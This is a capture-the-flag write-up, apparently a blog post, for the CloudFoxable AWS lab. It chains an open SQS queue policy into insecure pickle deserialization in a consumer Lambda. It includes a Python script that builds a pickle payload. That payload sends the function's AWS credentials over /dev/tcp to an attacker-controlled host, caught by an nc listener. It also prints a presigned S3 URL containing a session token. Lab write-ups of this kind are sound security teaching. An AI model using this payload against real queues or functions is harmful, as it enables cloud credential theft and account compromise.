Here we have another case of blurred lines. A vulnerability that anyone in the world can exploit, except not really. To successfully exploit it, you need to know some key information, which makes it fall in the “Assumed breach: Malicious/Compromised user” category as well.
So really the refined statement is: “Anyone in the world can exploit this provided they at some point had/have internal knowledge of the environment”. This means someone who used to work at Cloudfoxable Corp could exploit this, or even someone who currently works there but wants to keep their actions anonymous.
Take a look at the pepi role with cloudfox aws -p cloudfoxable permissions to find the initial thread to pull on.
Simple enough, I start off by preparing a profile for the pepi IAM role, then try to find what access it has.
1
2
3
4
5
6
| adicpnn@laboratory aws % aws sts get-caller-identity --profile pepi
{
"UserId": "AROAR4HCPRIDQFA5FWSTE:botocore-session-1773912540",
"Account": "129323993607",
"Arn": "arn:aws:sts::129323993607:assumed-role/pepi/botocore-session-1773912540"
}
|
1
2
3
4
5
6
7
8
9
| adicpnn@laboratory aws % aws iam list-attached-role-policies --role-name pepi --profile cloudfoxable
{
"AttachedPolicies": [
{
"PolicyName": "lambda-viewer",
"PolicyArn": "arn:aws:iam::129323993607:policy/lambda-viewer"
}
]
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| adicpnn@laboratory aws % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/lambda-viewer --version-id v1 --profile cloudfoxable
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"lambda:GetFunction"
],
"Effect": "Allow",
"Resource": "arn:aws:lambda:eu-central-1:129323993607:function:producer"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2026-03-18T08:46:13+00:00"
}
}
|
This role can access the producer lambda function. I’ll go ahead and look at code it’s running.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
| adicpnn@laboratory aws % aws lambda get-function --function-name producer --profile pepi
{
"Configuration": {
"FunctionName": "producer",
"FunctionArn": "arn:aws:lambda:eu-central-1:129323993607:function:producer",
"Runtime": "python3.10",
"Role": "arn:aws:iam::129323993607:role/producer",
"Handler": "lambda_function.lambda_handler",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 531,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2026-03-18T08:46:07.975+0000",
"CodeSha256": "u6IgTyCupIgkJDn5OmtBlh6xVVRh+/x810k7XWcGK5U=",
"Version": "$LATEST",
"Environment": {
"Variables": {
"TARGET_SQS_QUEUE_NAME": "https://sqs.eu-central-1.amazonaws.com/129323993607/internal_message_bus"
}
},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "63da599f-d244-40d6-90ca-9884d559e43f",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"RuntimeVersionConfig": {
"RuntimeVersionArn": "arn:aws:lambda:eu-central-1::runtime:a83ff4af729aad44fd64166b2291afbcad56a300a3ab5e17532c29ecf9f5b3e0"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/producer"
}
},
"Code": {
"RepositoryType": "S3",
"Location": "https://awslambda-eu-cent-1-tasks.s3.eu-central-1.amazonaws.com/snapshots/129323993607/producer-5870d43b-91b9-418b-ac9b-dbc073e7b9ba?versionId=M_1hIpA_2BEYONAKH7b9Tlxaln_LyMWh&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEEYaDGV1LWNlbnRyYWwtMSJHMEUCIQDal13ZIgYnPLYtkFTgQspuPaZPw3kKcM0nB4ugnF6fTAIgOxKe1ikCazgiTqeGyUSytAT%2Ft4IV8hbVzuxkxgLX%2B4sqiwIIDxADGgw2ODA2ODY1NTk0MzQiDGs56ODFSQXpKQL7CSroAc2KBR3jWGot4N1KKVbJU%2FAYt7XUAuMaOUJS1E8HX6bHqrJ2D3rciedqRMl6cgEb1bCk%2FNLXlaMAQIoQMvTPXEY2RMPlMDWgLQhvSt7C5kNMdQ44P7FTT2%2FceLWNnuprz0xfXIlp8b%2BXFIP2sys%2FYq4542DhfkHElRH0xzPHuymvTHGtVuk4YmF0gQXH3Rj8oSwboUpEgNOBNH%2B2lDCMYUStrLxO9ehAdRt3wRx5bDKiQ3URx9r2uPNefJ7Hc7fI3to5CxZwXJ3pAzyfIB0cv1K5vyIihvxVnJJfYwNuoYs196Fde5SJ90Mwpb7szQY6jQEjEjYPUysUqf4%2BCTuz8IcN33pywQEEV96cGPUPCU56KbDhkwc%2FkFiRSvGuDF6LFRMkw8S2MNN81w1EgqeKbLIuFxOijs2oG6O%2FG6hAEUTd2PMdRztJGWtoy7V3Qn30xjU2YVk7BwWBsse7s%2F%2Bnd1RPyGcu43fOjr0QLZbcgJWpmeTLLn%2BHx7QdBWuAbNQ%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20260319T093100Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAZ47AUUDFMPEYXHSI%2F20260319%2Feu-central-1%2Fs3%2Faws4_request&X-Amz-Signature=eee3b51f15edef2756a8a4e248c2cbc37ef2bc6f578570306ffefa2f556d3c22"
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| adicpnn@laboratory aws % curl "https://awslambda-eu-cent-1-tasks.s3.eu-central-1.amazonaws.com/snapshots/129323993607/producer-5870d43b-91b9-418b-ac9b-dbc073e7b9ba?versionId=M_1hIpA_2BEYONAKH7b9Tlxaln_LyMWh&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEEYaDGV1LWNlbnRyYWwtMSJHMEUCIQDal13ZIgYnPLYtkFTgQspuPaZPw3kKcM0nB4ugnF6fTAIgOxKe1ikCazgiTqeGyUSytAT%2Ft4IV8hbVzuxkxgLX%2B4sqiwIIDxADGgw2ODA2ODY1NTk0MzQiDGs56ODFSQXpKQL7CSroAc2KBR3jWGot4N1KKVbJU%2FAYt7XUAuMaOUJS1E8HX6bHqrJ2D3rciedqRMl6cgEb1bCk%2FNLXlaMAQIoQMvTPXEY2RMPlMDWgLQhvSt7C5kNMdQ44P7FTT2%2FceLWNnuprz0xfXIlp8b%2BXFIP2sys%2FYq4542DhfkHElRH0xzPHuymvTHGtVuk4YmF0gQXH3Rj8oSwboUpEgNOBNH%2B2lDCMYUStrLxO9ehAdRt3wRx5bDKiQ3URx9r2uPNefJ7Hc7fI3to5CxZwXJ3pAzyfIB0cv1K5vyIihvxVnJJfYwNuoYs196Fde5SJ90Mwpb7szQY6jQEjEjYPUysUqf4%2BCTuz8IcN33pywQEEV96cGPUPCU56KbDhkwc%2FkFiRSvGuDF6LFRMkw8S2MNN81w1EgqeKbLIuFxOijs2oG6O%2FG6hAEUTd2PMdRztJGWtoy7V3Qn30xjU2YVk7BwWBsse7s%2F%2Bnd1RPyGcu43fOjr0QLZbcgJWpmeTLLn%2BHx7QdBWuAbNQ%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20260319T093100Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAZ47AUUDFMPEYXHSI%2F20260319%2Feu-central-1%2Fs3%2Faws4_request&X-Amz-Signature=eee3b51f15edef2756a8a4e248c2cbc37ef2bc6f578570306ffefa2f556d3c22" --output code.zip
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 531 100 531 0 0 5896 0 --:--:-- --:--:-- --:--:-- 5966
adicpnn@laboratory aws % unzip code.zip
Archive: code.zip
inflating: lambda_function.py
adicpnn@laboratory aws % cat lambda_function.py
# send_sqs_message.py
import os
import boto3
import pickle
import json
import base64
def lambda_handler(event, context):
command = "echo \"hello world\" > /tmp/hello.txt"
pickled_command = pickle.dumps(command)
encoded_pickled_command = base64.b64encode(pickled_command).decode('utf-8')
payload = {
'command': encoded_pickled_command
}
sqs = boto3.client('sqs')
queue_url = os.environ['TARGET_SQS_QUEUE_NAME']
#queue_url = sqs.get_queue_url(QueueName=queue_name)['QueueUrl']
sqs.send_message(QueueUrl=queue_url, MessageBody=json.dumps(payload))
return {
'statusCode': 200,
'body': 'Message sent to the SQS queue'
}
|
I see here a Lambda function sending a shell command to an SQS queue (it’s URL was previously displayed when I ran the get-function AWS command). What’s interesting here is the usage of a pickle-based serialization.
The pepi role I started with for this challenge can neither invoke this function, or modify it in any way that would allow specifiying the command to run. This is where the challenge description really comes in handy, hinting at the need of “internal knowledge of the environment”.
Based on this, I will keep enumerating the environment for more information. A good place to start here would be Lambda and SQS.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
| adicpnn@laboratory aws % aws lambda list-functions --profile cloudfoxable
...
{
"FunctionName": "consumer",
"FunctionArn": "arn:aws:lambda:eu-central-1:129323993607:function:consumer",
"Runtime": "python3.10",
"Role": "arn:aws:iam::129323993607:role/swanson",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 498,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2026-03-18T14:24:06.000+0000",
"CodeSha256": "H7XXg5AolFWOaQgCKV9sSl++U5yBzypaz+dvs3PokHw=",
"Version": "$LATEST",
"Environment": {
"Variables": {
"TARGET_SQS_QUEUE_NAME": "https://sqs.eu-central-1.amazonaws.com/129323993607/internal_message_bus"
}
},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "632a1a20-c5c1-4d2e-a207-023d5fc8eab7",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/consumer"
}
},
...
|
Here I can see there’s another Lambda function with the previously discovered SQS Queue URL in it’s environment variables. A fair assumption given the Lambda function names producer/consumer, common in event-driven architecture, is that the consumer function is triggered by an incoming SQS message. I can confirm this by listing event source mappings for Lambda:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| adicpnn@laboratory aws % aws lambda list-event-source-mappings --profile cloudfoxable
{
"EventSourceMappings": [
{
"UUID": "a3ad82f6-0d37-495a-8dcd-61bd323f1640",
"BatchSize": 1,
"MaximumBatchingWindowInSeconds": 0,
"EventSourceArn": "arn:aws:sqs:eu-central-1:129323993607:internal_message_bus",
"FunctionArn": "arn:aws:lambda:eu-central-1:129323993607:function:consumer",
"LastModified": "2026-03-18T09:46:23.944000+01:00",
"State": "Enabled",
"StateTransitionReason": "USER_INITIATED",
"FunctionResponseTypes": [],
"EventSourceMappingArn": "arn:aws:lambda:eu-central-1:129323993607:event-source-mapping:a3ad82f6-0d37-495a-8dcd-61bd323f1640"
}
]
}
|
Unfortunately the pepi role doesn’t have access to this function, so the code running will remain a mystery for the time being. Nonetheless, this is still the best candidate for further investigation.
Since I cannot influence what the “producer” Lambda function does in order to reach the “consumer”, I have to look for alternatives. Maybe the SQS queue properties would show anything interesting?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| adicpnn@laboratory aws % aws sqs get-queue-attributes --queue-url https://sqs.eu-central-1.amazonaws.com/129323993607/internal_message_bus --attribute-names All --profile cloudfoxable
{
"Attributes": {
"QueueArn": "arn:aws:sqs:eu-central-1:129323993607:internal_message_bus",
"ApproximateNumberOfMessages": "0",
"ApproximateNumberOfMessagesNotVisible": "0",
"ApproximateNumberOfMessagesDelayed": "0",
"CreatedTimestamp": "1773823542",
"LastModifiedTimestamp": "1773823567",
"VisibilityTimeout": "30",
"MaximumMessageSize": "2048",
"MessageRetentionPeriod": "86400",
"DelaySeconds": "90",
"Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"sqspolicy\",\"Statement\":[{\"Sid\":\"First\",\"Effect\":\"Allow\",\"Principal\":\"*\",\"Action\":[\"sqs:SendMessage\",\"sqs:ReceiveMessage\"],\"Resource\":\"arn:aws:sqs:eu-central-1:129323993607:internal_message_bus\",\"Condition\":{\"IpAddress\":{\"aws:SourceIp\":\"nope\"}}}]}",
"RedrivePolicy": "{\"deadLetterTargetArn\":\"arn:aws:sqs:eu-central-1:129323993607:terraform-example-queue-deadletter\",\"maxReceiveCount\":4}",
"ReceiveMessageWaitTimeSeconds": "10",
"SqsManagedSseEnabled": "true"
}
}
|
Taking a closer look at the policy statement for the SQS queue, I see that “anyone” could send messages to this queue (this is what the challenge is hinting with “Anyone in the world can exploit this”).
Execution#
I’ve found a way forward, and I could now send blind messages to the SQS queue that would be processed by the consumer lambda function, but that would quicly turn unfruitful. Instead, I can refer back to my understanding of event-driven architecture:
- Known fact: There’s a function processing data and sending it to an SQS queue
- Known fact: Another function executes based on messages received on the queue
- Assumption: The
consumer would expect data to be processed by the producer, meaning the message format would need to match what the producer would output
I cannot make any complete assumptions on what the consumer does with the data, but knowing it’s receiving pickle-serialized data, I can expect it to deserialize it. This could be a good place to proceed, knowing that the pickle module in python, is susceptible to arbitrary code execution during deserialization. Refer to this Semgrep article for more information on this vulnerability.
Similar to the “Cloudfoxable - The topic is execution”, I’ll prepare a shell command to exfiltrate AWS credentials to an AWS EC2 instance I previously created. This command then needs to be pickle-serialized, and formatted in a way that the consumer would expect.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| import pickle
import base64
import os
import json
class Exploit(object):
def __reduce__(self):
return (os.system, ("exec 3<>/dev/tcp/ip_addr/9999; echo -e \"AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN=$AWS_SESSION_TOKEN \" >&3 ; exec 3<&-",))
payload = pickle.dumps(Exploit())
encoded_pickled_command = base64.b64encode(payload).decode('utf-8')
payload = {
'command': encoded_pickled_command
}
print(json.dumps(payload))
|
This python script would output the command I need to send via SQS message.
1
2
3
4
5
6
7
| adicpnn@laboratory aws % python3 build.py
{"command": "gASVzQAAAAAAAACMAm9zlIwGc3lzdGVtlJOUjLVleGVjIDM8Pi9kZXYvdGNwL3lvdXNuZWFreWZveC85OTk5OyBlY2hvIC1lICJBV1NfQUNDRVNTX0tFWV9JRD0kQVdTX0FDQ0VTU19LRVlfSUQgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPSRBV1NfU0VDUkVUX0FDQ0VTU19LRVkgQVdTX1NFU1NJT05fVE9LRU49JEFXU19TRVNTSU9OX1RPS0VOICIgPiYzIDsgZXhlYyAzPCYtlIWUUpQu"}
adicpnn@laboratory aws % aws sqs send-message --message-body "{\"command\": \"gASVzQAAAAAAAACMAm9zlIwGc3lzdGVtlJOUjLVleGVjIDM8Pi9kZXYvdGNwL3lvdXNuZWFreWZveC85OTk5OyBlY2hvIC1lICJBV1NfQUNDRVNTX0tFWV9JRD0kQVdTX0FDQ0VTU19LRVlfSUQgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZPSRBV1NfU0VDUkVUX0FDQ0VTU19LRVkgQVdTX1NFU1NJT05fVE9LRU49JEFXU19TRVNTSU9OX1RPS0VOICIgPiYzIDsgZXhlYyAzPCYtlIWUUpQu\"}" --profile cloudfoxable --queue-url https://sqs.eu-central-1.amazonaws.com/129323993607/internal_message_bus
{
"MD5OfMessageBody": "396029fac2062947ca4170263bb36dd3",
"MessageId": "0d0441f5-5a9a-4626-b4f6-68ed92458b66"
}
|
1
2
3
4
5
6
7
| [ec2-user@ip-172-31-37-14 ~]$ nc -lnvp 9999
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 63.178.236.42.
Ncat: Connection from 63.178.236.42:47352.
AWS_ACCESS_KEY_ID=*** AWS_SECRET_ACCESS_KEY=*** AWS_SESSION_TOKEN=***
|
Using these credentials, I’ve set up another AWS profile, and I can start enumerating it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| adicpnn@laboratory aws % aws sts get-caller-identity --profile consumer
{
"UserId": "AROAR4HCPRID44S5W6CU7:consumer",
"Account": "129323993607",
"Arn": "arn:aws:sts::129323993607:assumed-role/swanson/consumer"
}
adicpnn@laboratory aws % aws iam list-attached-role-policies --role-name swanson --profile cloudfoxable
{
"AttachedPolicies": [
{
"PolicyName": "lambda-sqs-secret-policy",
"PolicyArn": "arn:aws:iam::129323993607:policy/lambda-sqs-secret-policy"
}
]
}
adicpnn@laboratory aws % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/lambda-sqs-secret-policy --version-id v1 --profile cloudfoxable
{
"PolicyVersion": {
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": "ssm:GetParameter",
"Effect": "Allow",
"Resource": "arn:aws:ssm:eu-central-1:129323993607:parameter/cloudfoxable/flag/lambda-sqs"
},
{
"Action": [
"sqs:ReceiveMessage",
"sqs:DeleteMessage",
"sqs:GetQueueUrl",
"sqs:GetQueueAttributes",
"sqs:ChangeMessageVisibility",
"sqs:ChangeMessageVisibilityBatch",
"sqs:DeleteMessageBatch"
],
"Effect": "Allow",
"Resource": "arn:aws:sqs:eu-central-1:129323993607:internal_message_bus"
},
|
Everything seems to have fallen in place, and I can now attempt to retrieve the flag stored as an SSM parameter.
1
2
3
4
5
6
7
8
9
10
11
12
| adicpnn@laboratory aws % aws ssm get-parameter --name /cloudfoxable/flag/lambda-sqs --with-decryption --profile consumer --region eu-central-1
{
"Parameter": {
"Name": "/cloudfoxable/flag/lambda-sqs",
"Type": "SecureString",
"Value": "{FLAG:middle::queuesCanBeInterestingToo}",
"Version": 1,
"LastModifiedDate": "2026-03-18T09:45:17.151000+01:00",
"ARN": "arn:aws:ssm:eu-central-1:129323993607:parameter/cloudfoxable/flag/lambda-sqs",
"DataType": "text"
}
}
|